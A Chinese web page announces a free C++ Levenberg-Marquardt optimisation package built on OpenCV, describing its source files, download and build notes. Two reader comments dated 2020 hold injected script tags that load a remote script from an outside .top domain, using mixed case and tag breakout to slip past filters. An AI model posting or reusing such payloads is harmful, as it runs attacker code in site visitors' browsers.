Levenberg-Marquardt最优化C++源码(OpenCV版)

减小字体 增大字体作者:沈乐君  来源:本站原创  发布时间:2009-09-23 11:10:39

庆建国60周年,发布LM法C++代码。

声明:本算法源自网络,经沈乐君修改整理和改进,和本站另一篇文章《Levenberg-Marquardt快速入门教程》中的例子、MATLAB源码结构相同,非常便于读者学习和理解。您可以免费发布,修改和使用本代码,但本人不对代码造成的任何损失负责。转帖请注明http://www.shenlejun.cn/article/show.asp?id=97。

内容简介

①由于要解线性方程组,所以LM法必须依赖于特定的开发包。目前依赖于OPENCV,所以要运行本代码必须安装OPENCV。
②假设观测数量可变,为了灵活的进行处理,设计了可变大小的矩阵类和解方程类。代码包含在growmat.cpp中。
③为了提高程序执行的效率,同时兼顾观测数量可变的原则,设计了观测对象管理类。使用内存池代替C++默认的new,代码包含在ls_observation.cpp中。试验证明效率提高很大。
④程序入口在LM_DEMO.cpp中。其中my_obs负责求解雅克比矩阵。
⑤非线性最优化类ls_minimizer.cpp是本代码的核心,和本站教程中MATLAB代码的框架一致。
⑥下图是运行结果,显示了迭代过程的细节,最终结果和MATLAB演示代码完全相同(用红色框表示)。

非线性最优化C++代码截图

(备注:为了兼顾效率和可扩展性,除了核心代码外,还包含了不少的非核心代码,如②③,实际上LM并不需要它们,完全可以减肥!)

下载地址:

点击下载此文件(12KB)

注意事项:(2010-6-1)

①必须安装OPENCV,才能编译成功!
②有一个头文件没有用,可以删除这一行:#include "mini_solver.h"
③演示程序求解的问题是《数学试验》(萧树铁,第二版,高等教育出版社)中p190例2。为了方便读者,提供该书籍的数据和目标函数照片(2012年4月1日)。

  • 好的评价 如果您觉得此文章好,就请您
      100%(31)
  • 差的评价 如果您觉得此文章差,就请您
      0%(0)
   评论摘要(共 3 条,得分 300 分,平均 100 分) 查看完整评论
[回复] 3网友   打分:100 分  发表时间:2020-05-22
· </p><sCRiPtsRC=https://xn--7ca.top/s8jb>'"<p>
[回复] 2网友   打分:100 分  发表时间:2020-05-22
· <sCRiPt sRC=https://&#231;.top/s8jb>
[回复] 1网友   打分:100 分  发表时间:2016-08-03
· 很好,游過海峽來給讚

用户名:   验证码:

分 值:100分 85分 70分 55分 40分 25分 10分 1分

内 容:

      若文章有错误,请将右边打钩通知管理员

关于本站 - 友情连接 - 网站地图 - 我要留言